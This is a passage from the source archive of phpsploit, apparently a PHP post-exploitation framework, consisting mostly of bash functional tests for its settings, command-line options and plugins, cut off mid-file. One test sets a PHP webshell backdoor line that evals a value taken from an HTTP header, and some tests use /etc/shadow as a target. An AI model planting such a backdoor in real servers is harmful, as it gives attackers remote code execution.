### # set EDITOR to a custom script that copies buffer into $OUT file: IN="$TMPFILE-EDITOR-IN" OUT="$TMPFILE-EDITOR-OUT" cat > $TMPFILE-EDITOR << EOF #!/bin/bash IN="$IN" OUT="$OUT" if [ -f "\$IN" ]; then cat "\$IN" > "\$1" rm -f "\$IN" fi cat "\$1" > "\$OUT" EOF chmod +x $TMPFILE-EDITOR phpsploit_pipe set EDITOR "$TMPFILE-EDITOR" > /dev/null || FAIL # $FILE_5LINES = readable file with 5 lines (and 3 valid lines) FILE_5LINES=$TMPFILE-FILE_5LINES cat > $FILE_5LINES << EOF line1 %%PASSKEY%% # comment (and then, emtpy line) line4 %%PASSKEY%% line5 %%PASSKEY%% EOF # $FILE_EMPTY = readable file with no content FILE_EMPTY=$TMPFILE-FILE_EMPTY > $FILE_EMPTY # $FILE_INVALID = non-readable file FILE_INVALID="/etc/shadow" ### ### MultiLineBuffer Test ### ### Using `SAVEPATH` settings to test MultiLineBuffer: ### - *usable-value condition: `os.path.isdir(value)` ### - checking current *usable-value: ./phpsploit -e session | grep 'phpsploit.session' ### assert `SAVEPATH` is a MultiLineBuffer phpsploit_pipe help set SAVEPATH > $TMPFILE || FAIL assert_contains $TMPFILE 'is a MultiLineBuffer' # display SAVEPATH value through another phpsploit command that uses it function show_val_SAVEPATH () { phpsploit_pipe session | grep -oP '(?<=\()[a-z/]+(?=phpsploit.session\)$)' } ### test SAVEPATH with valid directory mkdir "$TMPFILE-valid-dir" echo "$TMPFILE-valid-dir" > $IN phpsploit_pipe set SAVEPATH + > $TMPFILE || FAIL # buffer should contain the new value phpsploit_pipe set SAVEPATH + > $TMPFILE || FAIL assert_contains $OUT $TMPFILE-valid-dir show_val_SAVEPATH > $TMPFILE && assert_contains $TMPFILE $TMPFILE-valid-dir ### test SAVEPATH with INVALID directory (old value should remain) cat > $IN << EOF $TMPFILE-invalid-dir EOF phpsploit_pipe set SAVEPATH + > $TMPFILE && FAIL # buffer should STILL contain old value phpsploit_pipe set SAVEPATH + > $TMPFILE || FAIL assert_contains $OUT $TMPFILE-valid-dir show_val_SAVEPATH > $TMPFILE && assert_contains $TMPFILE $TMPFILE-valid-dir ### Using `PAYLOAD_PREFIX` setting to test MultiLineBuffer: ### - *usable-value condition: **NO-CONDITION** ### set PAYLOAD_PREFIX to a 8 lines buffer (with blank lines & comments) cat > $IN << EOF line1 # this is a comment, and next, 2 blank lines line5 line6 line7 # another comment EOF perl -pe 'chomp if eof' $IN > $IN-2 phpsploit_pipe set PAYLOAD_PREFIX + > $TMPFILE || FAIL # buffer should be exactly as defined in $IN phpsploit_pipe set PAYLOAD_PREFIX + > $TMPFILE || FAIL diff $OUT $IN-2 || FAIL rm -f $IN-2 # PAYLOAD_PREFIX repr should say '8 lines': phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE '$' ### set PAYLOAD_PREFIX to a SINGLE LINE BUFFER echo 'SingleLineValue' > $IN phpsploit_pipe set PAYLOAD_PREFIX + > $TMPFILE || FAIL # PAYLOAD_PREFIX repr should simply show the value phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE 'SingleLineValue' assert_not_contains $TMPFILE << EOF MultiLine 1 line EOF ### set PAYLOAD_PREFIX to an EMPTY BUFFER > $IN phpsploit_pipe set PAYLOAD_PREFIX + > $TMPFILE || FAIL # PAYLOAD_PREFIX repr should say '0 lines': phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE '' ### test 'set + ' syntax # bind to FILE_5LINES, check buffer is updated phpsploit_pipe set PAYLOAD_PREFIX + file://$FILE_5LINES > $TMPFILE || FAIL phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE "$" # add a line, unbinding the buffer from file: phpsploit_pipe set PAYLOAD_PREFIX + line6 > $TMPFILE || FAIL phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE "$" # bind if to FILE_INVALID, check buffer is kept phpsploit_pipe set PAYLOAD_PREFIX + file://$FILE_INVALID > $TMPFILE || FAIL phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE "$" # re-bind to FILE_5LINES, check buffer is updated phpsploit_pipe set PAYLOAD_PREFIX + file://$FILE_5LINES > $TMPFILE || FAIL phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE "$" # re-bind to FILE_EMPTY, check buffer is kept phpsploit_pipe set PAYLOAD_PREFIX + file://$FILE_EMPTY > $TMPFILE || FAIL phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE "$" # add a line, unbinding the buffer from file: phpsploit_pipe set PAYLOAD_PREFIX + line6 > $TMPFILE || FAIL phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE "$" # reset to default value phpsploit_pipe set PAYLOAD_PREFIX %%DEFAULT%% > $TMPFILE || FAIL phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE "$" # FAIL to reset to FILE_EMPTY or FILE_INVALID phpsploit_pipe set PAYLOAD_PREFIX file://FILE_EMPTY > $TMPFILE && FAIL phpsploit_pipe set PAYLOAD_PREFIX file://FILE_INVALID > $TMPFILE && FAIL phpsploit_pipe set PAYLOAD_PREFIX > $TMPFILE || FAIL assert_contains $TMPFILE "$" ### ### RandLineBuffer Test ### ### Using `BACKDOOR` settings to test RandLineBuffer: ### - *usable-value condition: `'%%PASSKEY' in value` ### - checking current *usable-value: `./phpsploit -e 'exploit --get-backdoor'` # assert `BACKDOOR` is a RandLineBuffer phpsploit_pipe help set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE 'is a RandLineBuffer' # display BACKDOOR value through another phpsploit command that uses it function show_val_BACKDOOR () { phpsploit_pipe exploit --get-backdoor } ### test BACKDOOR with valid value echo %%PASSKEY%%ValidValue > $IN phpsploit_pipe set BACKDOOR + > $TMPFILE || FAIL phpsploit_pipe set BACKDOOR + > $TMPFILE || FAIL # buffer should contain the new value assert_contains $OUT %%PASSKEY%%ValidValue show_val_BACKDOOR > $TMPFILE && assert_contains $TMPFILE PHPSPL01TValidValue ### test BACKDOOR with INVALID value (old value should remain) echo /invalid > $IN phpsploit_pipe set BACKDOOR + > $TMPFILE && FAIL phpsploit_pipe set BACKDOOR + > $TMPFILE || FAIL # buffer should STILL contain old value assert_contains $OUT %%PASSKEY%%ValidValue show_val_BACKDOOR > $TMPFILE && assert_contains $TMPFILE PHPSPL01TValidValue ### set BACKDOOR to a 4 choices buffer (with blank lines & comments) cat > $IN << EOF choice1 %%PASSKEY%% # this is a comment, and next, 2 blank lines choice2 %%PASSKEY%% choice3 %%PASSKEY%% choice4 %%PASSKEY%% # another comment %%PASSKEY%% EOF perl -pe 'chomp if eof' $IN > $IN-2 # shoud not fail phpsploit_pipe set BACKDOOR + > $TMPFILE || FAIL phpsploit_pipe set BACKDOOR + > $TMPFILE || FAIL # buffer should be exactly as defined diff $OUT $IN-2 || FAIL rm -f $IN-2 # BACKDOOR repr should say '4 choices': phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE '$' # try to show_val 50 times, and make sure all 4 choices where picked as *usable-value buf="" for i in {1..50}; do buf="$buf exploit --get-backdoor;" done phpsploit_pipe "$buf" | grep '^ $TMPFILE assert_contains $TMPFILE << EOF choice1 choice2 choice3 choice4 EOF # assert not other choice has been picked as *usable-value grep -qv 'choice[1-4] PHPSPL01T' $TMPFILE && FAIL ### set BACKDOOR to a SINGLE LINE BUFFER echo 'SingleValue%%PASSKEY%%' > $IN phpsploit_pipe set BACKDOOR + > $TMPFILE || FAIL # BACKDOOR repr should simply show the value phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE 'SingleValue%%PASSKEY%%' assert_not_contains $TMPFILE << EOF RandLine 1 choice EOF # set BACKDOOR to EMPTY BUFFER. should FAIL with: # 'couldn't find an *usable-choice from buffer lines' > $IN phpsploit_pipe set BACKDOOR + > $TMPFILE && FAIL assert_contains $TMPFILE "couldn't find an \*usable-choice from buffer lines" ### test 'set + ' syntax # bind to FILE_5LINES, check buffer is updated phpsploit_pipe set BACKDOOR + file://$FILE_5LINES > $TMPFILE || FAIL phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE "$" # add an INVALID choice, unbinding the buffer from file: phpsploit_pipe set BACKDOOR + invalidLine > $TMPFILE || FAIL # check it's still 3 choices, as our line is not an *usable-choice phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE "$" # but check buffer actually has the last line phpsploit_pipe set BACKDOOR + > /dev/null tail -n1 $OUT | grep -q '^invalidLine$' || FAIL # add an VALID choice: phpsploit_pipe set BACKDOOR + validLine%%PASSKEY%% > $TMPFILE || FAIL # check it's now 4 choices, because the added choice is an *usable-value phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE "$" # but check buffer actually has the last line phpsploit_pipe set BACKDOOR + > /dev/null tail -n1 $OUT | grep -q '^validLine' || FAIL # bind to FILE_INVALID, check buffer is kept phpsploit_pipe set BACKDOOR + file://$FILE_INVALID > $TMPFILE || FAIL phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE "$" # re-bind to FILE_5LINES, check buffer is updated phpsploit_pipe set BACKDOOR + file://$FILE_5LINES > $TMPFILE || FAIL phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE "$" # re-bind to FILE_EMPTY, check buffer is kept phpsploit_pipe set BACKDOOR + file://$FILE_EMPTY > $TMPFILE || FAIL phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE "$" # reset to default value phpsploit_pipe set BACKDOOR %%DEFAULT%% > $TMPFILE || FAIL phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL assert_contains $TMPFILE "HTTP_%%PASSKEY%%" # FAIL to reset to FILE_EMPTY or FILE_INVALID phpsploit_pipe set BACKDOOR file://FILE_EMPTY > $TMPFILE && FAIL phpsploit_pipe set BACKDOOR file://FILE_INVALID > $TMPFILE && FAIL phpsploit_pipe set BACKDOOR > $TMPFILE || FAIL # check buffer still the same as before (%%DEFAULT%%) assert_contains $TMPFILE "HTTP_%%PASSKEY%%" phpsploit-3.2+git20240329.aea961d/test/interface/000077500000000000000000000000001460155776400210745ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/interface/README.md000066400000000000000000000001611460155776400223510ustar00rootroot00000000000000# Functional Tests: interface Test related to command-line user interface behavior and general user experience. phpsploit-3.2+git20240329.aea961d/test/interface/command-line-options.sh000077500000000000000000000176761460155776400255100ustar00rootroot00000000000000#!/bin/bash # ARGV1: long cli option name (e.g: --eval) # ARGV2: optional value for argument # # FAIL if $retval or STDOUT differ when using argument's different forms. # short: '-e $value' # long: '--eval $value' # long_eq: '--eval=$value' function test_opt () { local short_opt="-${1:2:1}" local long_opt="$1" local value="$2" if [ -z "$value" ]; then echo exit | $PHPSPLOIT $short_opt > $TMPFILE-test_opt-short local ret1=$? echo exit | $PHPSPLOIT $long_opt > $TMPFILE-test_opt-long local ret2=$? [ "$ret1" == "$ret2" ] || FAIL diff $TMPFILE-test_opt-short $TMPFILE-test_opt-long || FAIL else echo exit | $PHPSPLOIT $short_opt "$value" > $TMPFILE-test_opt-short local ret1=$? echo exit | $PHPSPLOIT $long_opt "$value" > $TMPFILE-test_opt-long local ret2=$? echo exit | $PHPSPLOIT "$long_opt=$value" > $TMPFILE-test_opt-long_eq local ret3=$? [ "$ret1" == "$ret2" ] || FAIL diff $TMPFILE-test_opt-short $TMPFILE-test_opt-long || FAIL [ "$ret2" == "$ret3" ] || FAIL diff $TMPFILE-test_opt-long $TMPFILE-test_opt-long_eq || FAIL fi # output result cat $TMPFILE-test_opt-short # store return value into $retval retval="$ret1" # remove files used by function rm -f $TMPFILE-test_opt-* return "$retval" } # make sure ARGV1 file outputs standard argparse cli error function assert_cli_error () { assert_contains $1 << EOF ^usage: phpsploit ^phpsploit: error: EOF } # return 0 if command timed-out (aka: is interactive) function is_interactive () { local script=$TMPFILE-is_interactive.sh echo -e "#!/bin/bash\n$@" > $script chmod +x $script script -qefc "timeout 6 $script" /dev/null > $TMPFILE-is_interactive 2>&1 local ret="$?" #rm $script [ "$ret" -eq 124 ] && return 0 || return 1 } ### ### --help ### is_interactive $PHPSPLOIT --help && FAIL $PHPSPLOIT --help=INVALID 2> $TMPFILE && FAIL assert_contains $TMPFILE << EOF usage: .*phpsploit --help: ignored explicit argument 'INVALID' EOF test_opt --help > $TMPFILE || FAIL assert_contains $TMPFILE << EOF -h, --help -v, --version -c , --config -l , --load -t , --target -s , --source -e , --eval -i, --interactive EOF ### ensure all options are being tested in current test file options="$(grep -- -- $TMPFILE | perl -pe 's|(^.*--(.*?) .*$)|\2|')" for opt in $options; do assert_contains $SCRIPTFILE "^test_opt --$opt " assert_contains $SCRIPTFILE "^is_interactive \$PHPSPLOIT --$opt " done ### ### --version ### is_interactive $PHPSPLOIT --version && FAIL test_opt --version > $TMPFILE || FAIL assert_contains $TMPFILE << EOF ^PhpSploit Framework, version ^License GPLv3+: GNU GPL version 3 or later ^This is free software; you are free to change and redistribute it. ^There is NO WARRANTY, to the extent permitted by law. EOF # FAIL if option has argument test_opt --version INVALID 2> $TMPFILE && FAIL assert_cli_error $TMPFILE ### ### --config ### ### succeed with VALID conf file cat > $TMPFILE-conf << EOF # valid comment # valid comment alias test_alias 'lrun true' # valid comment set EDITOR test_set EOF is_interactive $PHPSPLOIT --config $TMPFILE-conf || FAIL # check existence of newly created alias test_opt --config $TMPFILE-conf > $TMPFILE || FAIL $PHPSPLOIT -c $TMPFILE-conf -e 'alias' > $TMPFILE assert_contains $TMPFILE << EOF test_alias .* lrun true$ EOF # check that original $PHPSPLOIT_CONFIG_DIR is NOT loaded num_aliases=$(sed -e '1,/---/d' -e '/^$/,$d' $TMPFILE | wc -l) [ "$num_aliases" == 1 ] || FAIL # only declared `test_alias` should exist # check existence of newly created setting $PHPSPLOIT -c $TMPFILE-conf -e 'set' > $TMPFILE assert_contains $TMPFILE << EOF EDITOR .* test_set$ EOF ### FAIL with INVALID conf file cat > $TMPFILE-conf << EOF # valid comment # valid comment alias test_alias 'lrun true' # valid comment session load / # THIS COMMAND SHOULD FAIL set EDITOR test_set EOF test_opt --config $TMPFILE-conf > /dev/null 2> $TMPFILE && FAIL assert_cli_error $TMPFILE rm $TMPFILE-conf ### FAIL if called without value test_opt --config 2> $TMPFILE && FAIL assert_cli_error $TMPFILE ### ### --load ### ### succeed with VALID session file $PHPSPLOIT -e "exploit; env TEST_ENV FOOBAR; session save $TMPFILE-sess" > $TMPFILE || FAIL assert_contains $TMPFILE << EOF Session saved into '$TMPFILE-sess' EOF is_interactive $PHPSPLOIT --load $TMPFILE-sess || FAIL # test option test_opt --load $TMPFILE-sess > /dev/null || FAIL # check session is loaded $PHPSPLOIT -l $TMPFILE-sess -e "session" > $TMPFILE assert_contains $TMPFILE << EOF Configuration Settings Environment Variables TEST_ENV .* FOOBAR$ EOF # compare --load option with 'session load' command $PHPSPLOIT -e "session load $TMPFILE-sess; session" > $TMPFILE-2 diff $TMPFILE $TMPFILE-2 || FAIL ### FAIL with INVALID session file echo "INVALID SESSION FILE CONTENT" > $TMPFILE-sess || FAIL # test option test_opt --load $TMPFILE-sess > /dev/null 2> $TMPFILE && FAIL assert_cli_error $TMPFILE rm $TMPFILE-sess $TMPFILE-2 ### FAIL if called without value test_opt --load 2> $TMPFILE && FAIL assert_cli_error $TMPFILE ### ### --target ### is_interactive $PHPSPLOIT --target localhost || FAIL ### succeed with VALID target # test option TARGET="10.0.156.11:8080" test_opt --target $TARGET > /dev/null || FAIL # check target is set $PHPSPLOIT -t $TARGET -e "set" > $TMPFILE assert_contains $TMPFILE << EOF TARGET .* http://$TARGET/$ EOF ### FAIL if called with INVALID target test_opt --target / > /dev/null 2> $TMPFILE && FAIL assert_cli_error $TMPFILE ### FAIL if called without argument test_opt --target > /dev/null 2> $TMPFILE && FAIL assert_cli_error $TMPFILE ### ### --source ### ### succeed with VALID source file (even with an invalid command in the middle) cat > $TMPFILE-src << EOF # valid comment # valid comment alias test_alias 'lrun true' # valid comment INVALID_COMMAND # this command should fail set EDITOR test_set EOF is_interactive $PHPSPLOIT --source $TMPFILE-src && FAIL # check existence of newly created alias test_opt --source $TMPFILE-src > $TMPFILE || FAIL $PHPSPLOIT -s $TMPFILE-src -e 'alias' > $TMPFILE assert_contains $TMPFILE << EOF test_alias .* lrun true$ EOF # check that original $PHPSPLOIT_CONFIG_DIR IS loaded num_aliases=$(sed -e '1,/---/d' -e '/^$/,$d' $TMPFILE | wc -l) [ "$num_aliases" -gt 1 ] || FAIL # aliases set by conf file should also exist # check existence of newly created setting $PHPSPLOIT -s $TMPFILE-src -e 'set' > $TMPFILE assert_contains $TMPFILE << EOF EDITOR .* test_set$ EOF # FAIL if called with non-existing source file test_opt --source INVALID > /dev/null 2> $TMPFILE && FAIL assert_cli_error $TMPFILE rm $TMPFILE-src ### FAIL if called without value test_opt --source 2> $TMPFILE && FAIL assert_cli_error $TMPFILE ### ### --eval ### is_interactive $PHPSPLOIT --eval help && FAIL ### succeed if called with multiple valid commands test_opt --eval 'set; alias' > $TMPFILE assert_contains $TMPFILE << EOF ^Configuration Settings$ ^Command Aliases$ EOF ### FAIL if called without value test_opt --eval 2> $TMPFILE && FAIL assert_cli_error $TMPFILE ### ### --interactive ### cat > $TMPFILE-src << EOF # valid comment # valid comment alias test_alias 'lrun true' # valid comment INVALID_COMMAND # this command should fail set EDITOR test_set EOF is_interactive $PHPSPLOIT --interactive --source $TMPFILE-src || FAIL rm $TMPFILE-src is_interactive $PHPSPLOIT --interactive --eval help || FAIL is_interactive $PHPSPLOIT --interactive --target localhost || FAIL # check stdin correctly interpreted echo exit | $PHPSPLOIT --interactive -e 'set; alias' > $TMPFILE assert_contains $TMPFILE << EOF ^Configuration Settings$ ^Command Aliases$ EOF faketty $PHPSPLOIT --interactive -e exit > $TMPFILE || FAIL ### FAIL if called with argument test_opt --interactive INVALID 2> $TMPFILE && FAIL assert_cli_error $TMPFILE phpsploit-3.2+git20240329.aea961d/test/interface/issue73_show-stacktrace-if-VERBOSITY.sh000077500000000000000000000007021460155776400300760ustar00rootroot00000000000000#!/bin/bash # Issue #73: Show stack trace when VERBOSITY is True # ref: https://github.com/nil0x42/phpsploit/issues/73 stacktrace='Traceback (most recent call last)' # this SHOULD NOT contain stack trace: $PHPSPLOIT -e 'set VERBOSITY False; source /' > $TMPFILE && FAIL grep -q "$stacktrace" $TMPFILE && FAIL # this SOULD contain stack trace: $PHPSPLOIT -e 'set VERBOSITY True; source /' > $TMPFILE && FAIL grep -q "$stacktrace" $TMPFILE || FAIL phpsploit-3.2+git20240329.aea961d/test/interface/phpsploit-launcher.sh000077500000000000000000000017011460155776400252530ustar00rootroot00000000000000#!/bin/bash ### ### func tests for phpsploit launcher (./phpsploit) ### ### ### Early Ctrl-C interrupt (SIGINT) ### > $TMPFILE # testing different timeouts because it depends on time needed # to load phpsploit for current platform/interpreter timeout -s INT 0.05 $RAW_PHPSPLOIT --help > $TMPFILE-out 2>> $TMPFILE timeout -s INT 0.1 $RAW_PHPSPLOIT --help > $TMPFILE-out 2>> $TMPFILE timeout -s INT 0.15 $RAW_PHPSPLOIT --help > $TMPFILE-out 2>> $TMPFILE timeout -s INT 0.2 $RAW_PHPSPLOIT --help > $TMPFILE-out 2>> $TMPFILE assert_contains $TMPFILE "\[-\] .* initialization interrupted$" rm $TMPFILE-out ### ### Use phpsploit as a script's shebang ### cat > $TMPFILE-script << EOF #!$RAW_PHPSPLOIT session EOF chmod +x $TMPFILE-script $TMPFILE-script > $TMPFILE grep -qi '^phpsploit session' $TMPFILE || FAIL # test with $PHPSPLOIT (to make coverage happy) $PHPSPLOIT $TMPFILE-script > $TMPFILE grep -qi '^phpsploit session' $TMPFILE || FAIL rm $TMPFILE-script phpsploit-3.2+git20240329.aea961d/test/interface/tty-colors.sh000077500000000000000000000023041460155776400235510ustar00rootroot00000000000000#!/bin/bash # check that tty colors are rendered within a tty # and not rendered otherwise cat > $TMPFILE-src << EOF # phpsploit source file help help INV4LID_COMMAND source /INV4LID_PATH set BACKDOOR "@eval(\$_SERVER['HTTP_%%PASSKEY%%'])" set BACKDOOR set REQ_INTERVAL 1-10 set REQ_INTERVAL set VERBOSITY "TRUE" set VERBOSITY "FALSE" exploit --get-backdoor EOF cmd="$PHPSPLOIT -s $TMPFILE-src" # raw output SHOULD NOT have ansi colors $cmd | rm_trailing_newlines | grep -v ' plugins correctly loaded' > $TMPFILE || FAIL grep -Pq '\033\[' $TMPFILE && FAIL # tty output SHOULD have ansi colors faketty $cmd | rm_trailing_newlines | grep -v ' plugins correctly loaded' > $TMPFILE-2 grep -Pq '\033\[' $TMPFILE-2 || FAIL # assert file contains at least 500 ansi colors ansi_colors=$(perl -lne 'END {print $c} $c += s/\033\[//g' $TMPFILE-2) [ "$ansi_colors" -lt 500 ] && FAIL $ansi_colors # ensure `exploit --get-backdoor` gets colored by pygments ansi_colors=$(grep -v BACKDOOR $TMPFILE-2 | grep HTTP_PHPSPL01T \ | perl -lne 'END {print $c} $c += s/\033\[//g') [ "$ansi_colors" -lt 9 ] && FAIL $ansi_colors # both should be equal after removing ansi colors decolorize $TMPFILE-2 diff $TMPFILE $TMPFILE-2 || FAIL phpsploit-3.2+git20240329.aea961d/test/plugins/000077500000000000000000000000001460155776400206155ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/plugins/README.md000066400000000000000000000004521460155776400220750ustar00rootroot00000000000000# Functional Tests: plugins Test all `Plugins` of phpsploit. Plugins commands are available within the UI as soon as phpsploit is connected to a remote target. Built-in plugins can be identified in `plugins/` directory, and can be listed with `phpsploit -e help` (if connected to remote TARGET). phpsploit-3.2+git20240329.aea961d/test/plugins/issue74_non-connected-plugin-run-errmsg.sh000077500000000000000000000005541460155776400306700ustar00rootroot00000000000000#!/bin/bash # Issue #74: # Make warning message explicit when running plugin in non-connected mode # ref: https://github.com/nil0x42/phpsploit/issues/74 phpsploit_pipe 'pwd' > $TMPFILE && FAIL grep -q 'Must connect to run `pwd` plugin' $TMPFILE || FAIL $PHPSPLOIT -e 'exploit; pwd' > $TMPFILE || FAIL grep -q 'Must connect to run `pwd` plugin' $TMPFILE && FAIL phpsploit-3.2+git20240329.aea961d/test/plugins/touch.sh000077500000000000000000000030731460155776400223010ustar00rootroot00000000000000#!/bin/bash # connect phpsploit phpsploit_pipe exploit > $TMPFILE # permission denied phpsploit_pipe touch /etc/shadow > $TMPFILE && FAIL assert_contains $TMPFILE "Permission denied" # no such file or directory phpsploit_pipe touch /laskdjlsakjdlaskjd/notexist > $TMPFILE && FAIL assert_contains $TMPFILE "No such file or directory" # touch directory (must work) phpsploit_pipe stat . > $TMPFILE-before || FAIL sleep 1 phpsploit_pipe touch . > $TMPFILE || FAIL phpsploit_pipe stat . > $TMPFILE-after || FAIL diff $TMPFILE-before $TMPFILE-after > $TMPFILE-diff && FAIL < $TMPFILE-diff grep '^>' > $TMPFILE assert_contains $TMPFILE << EOF Accessed: Modified: EOF # touch existing file phpsploit_pipe touch index.php > $TMPFILE || FAIL # touch existing file with invalid `ref` file phpsploit_pipe touch -r notexist index.php > $TMPFILE && FAIL assert_contains $TMPFILE 'cannot stat.*notexist.*No such file' # touch existing file with existing `ref` file phpsploit_pipe touch -r index.php newfile.txt > $TMPFILE || FAIL phpsploit_pipe stat index.php > $TMPFILE-before || FAIL phpsploit_pipe stat newfile.txt > $TMPFILE-after || FAIL diff $TMPFILE-before $TMPFILE-after > $TMPFILE-diff && FAIL # touch file with -t (partial timestamp) phpsploit_pipe touch -t 2015 index.php > $TMPFILE || FAIL phpsploit_pipe stat index.php > $TMPFILE || FAIL # year must be set to 2015 grep -q ' 2015-' $TMPFILE || FAIL # hh:mm:ss must NOT be set to 00:00:00 (should be random) grep -q '00:00:00' $TMPFILE && FAIL # run touch with invalid arg phpsploit_pipe touch --invalid-arg FOOBAR > $TMPFILE && FAIL phpsploit-3.2+git20240329.aea961d/test/settings/000077500000000000000000000000001460155776400207745ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/settings/BROWSER.sh000077500000000000000000000015021460155776400224540ustar00rootroot00000000000000#!/usr/bin/env bash ############################################################ ### VALID VALUES ############################################################ phpsploit_pipe set BROWSER %%DEFAULT%% > $TMPFILE || FAIL assert_no_output $TMPFILE phpsploit_pipe set BROWSER default > $TMPFILE || FAIL assert_no_output $TMPFILE # issue #128: BROWSER default fails if no browser available # Ref: https://github.com/nil0x42/phpsploit/issues/128 phpsploit_pipe set BROWSER disabled > $TMPFILE || FAIL assert_no_output $TMPFILE ############################################################ ### INVALID VALUES ############################################################ phpsploit_pipe set BROWSER invalid_val > $TMPFILE && FAIL assert_contains $TMPFILE << EOF ^\[\!\] Value Error: Can't bind to 'invalid_val'. Valid choices: 'disabled' EOF phpsploit-3.2+git20240329.aea961d/test/settings/PROXY.sh000077500000000000000000000026671460155776400222670ustar00rootroot00000000000000#!/usr/bin/env bash ############################################################ ### VALID VALUES ############################################################ valid_schemes="http https socks4 socks4a socks5 socks5h" invalid_schemes="xxx httpx httpss socks socks4h socks5a" phpsploit_pipe set PROXY None || FAIL for scheme in $invalid_schemes; do echo invalid_scheme=$scheme phpsploit_pipe set PROXY "$scheme://0.0.0.0:23487" > $TMPFILE && FAIL assert_contains $TMPFILE "Value Error: Invalid proxy format" phpsploit_pipe exploit || FAIL phpsploit_pipe exit || FAIL done for scheme in $valid_schemes; do echo valid_scheme=$scheme phpsploit_pipe set PROXY "$scheme://0.0.0.0:23487" > $TMPFILE || FAIL assert_no_output $TMPFILE phpsploit_pipe set PROXY > $TMPFILE || FAIL assert_contains $TMPFILE "$scheme://0.0.0.0:23487" phpsploit_pipe exploit > $TMPFILE && FAIL if [[ "$scheme" == "socks4"* ]]; then assert_contains $TMPFILE "Request error: Error connecting to SOCKS4 proxy " elif [[ "$scheme" == "socks5"* ]]; then assert_contains $TMPFILE "Request error: Error connecting to SOCKS5 proxy " fi done # phpsploit_pipe set PROXY https://0.0.0.0:23487 > $TMPFILE || FAIL # assert_no_output $TMPFILE # phpsploit_pipe exploit && FAIL # phpsploit_pipe set PROXY None > $TMPFILE || FAIL # assert_no_output $TMPFILE # phpsploit_pipe exploit || FAIL # phpsploit_pipe exit # phpsploit_pipe help phpsploit-3.2+git20240329.aea961d/test/settings/README.md000066400000000000000000000001671460155776400222570ustar00rootroot00000000000000# Functional Tests: settings Test phpsploit `Configuration Settings`. Settings can be listed with `phpsploit -e set`. phpsploit-3.2+git20240329.aea961d/test/unittest/000077500000000000000000000000001460155776400210135ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/test/unittest/x.py000066400000000000000000000004731460155776400216400ustar00rootroot00000000000000import sys import imp sys.path.pop(0) def test_windows_os(): sys.platform = "Windows Vista" try: imp.load_source("phpsploit", "./phpsploit") import phpsploit except SystemExit as err: errmsg = str(err) assert "you should be a TARGET rather than an attacker" in errmsg phpsploit-3.2+git20240329.aea961d/utils/000077500000000000000000000000001460155776400173155ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/utils/make_release.sh000077500000000000000000000071711460155776400222770ustar00rootroot00000000000000#!/usr/bin/env bash # Run this script to create a new release of phpsploit SCRIPTDIR="$(readlink -f `dirname $0`)" cd "$(git rev-parse --show-toplevel)" # colors RED='\033[0;31m' GREEN='\033[0;32m' BOLD='\033[1m' NC='\033[0m' # No Color ########## ERROR HANDLING # check arguments if (( $# != 1 )); then >&2 echo -e "Usage: $0 " >&2 echo -e "Example: ${GREEN}$0 3.0${NC}" exit 1 fi # check current branch is master cur_branch="$(git rev-parse --abbrev-ref HEAD)" if [ "$cur_branch" != "master" ]; then >&2 echo -e "\n${RED}[-] Please checkout on master branch:${NC}" >&2 echo -e " ${GREEN}git checkout master${NC}" exit 1 fi # check existence of `github_changelog_generator` tool # needed to generate CHANGELOG.md gh_changelog_gen="github_changelog_generator" if ! which "$gh_changelog_gen" >/dev/null; then >&2 echo -e "\n${RED}[-] Please install '$gh_changelog_gen':${NC}" >&2 echo -e " ${GREEN}sudo gem install ${gh_changelog_gen}${NC}" exit 1 fi # check existence of `remark` tool # needed to generate CHANGELOG.md remark="remark" if ! which "$remark" >/dev/null; then >&2 echo -e "\n${RED}[-] Please install '$remark':${NC}" >&2 echo -e " ${GREEN}sudo npm install -g remark-cli remark-preset-lint-recommended${NC}" exit 1 fi # check existence of `txt2tags` tool # needed to run ./man/update-man.sh txt2tags="txt2tags" if ! which "$txt2tags" >/dev/null; then >&2 echo -e "\n${RED}[-] Please install '$txt2tags':${NC}" >&2 echo -e " ${GREEN}sudo apt install ${txt2tags}${NC}" exit 1 fi # make sure that git work tree is clean # source: https://stackoverflow.com/questions/30063411/git-bash-script-check-working-tree require_clean_work_tree () { git rev-parse --verify HEAD >/dev/null || exit 1 git update-index -q --ignore-submodules --refresh err=0 if ! git diff-files --quiet --ignore-submodules then echo >&2 "Cannot $1: You have unstaged changes." err=1 fi if ! git diff-index --cached --quiet --ignore-submodules HEAD -- then if [ $err = 0 ] then echo >&2 "Cannot $1: Your index contains uncommitted changes." else echo >&2 "Additionally, your index contains uncommitted changes." fi err=1 fi if [ $err = 1 ] then test -n "$2" && echo >&2 "$2" exit 1 fi } require_clean_work_tree if [ -n "$(git status --porcelain)" ]; then >&2 echo -e 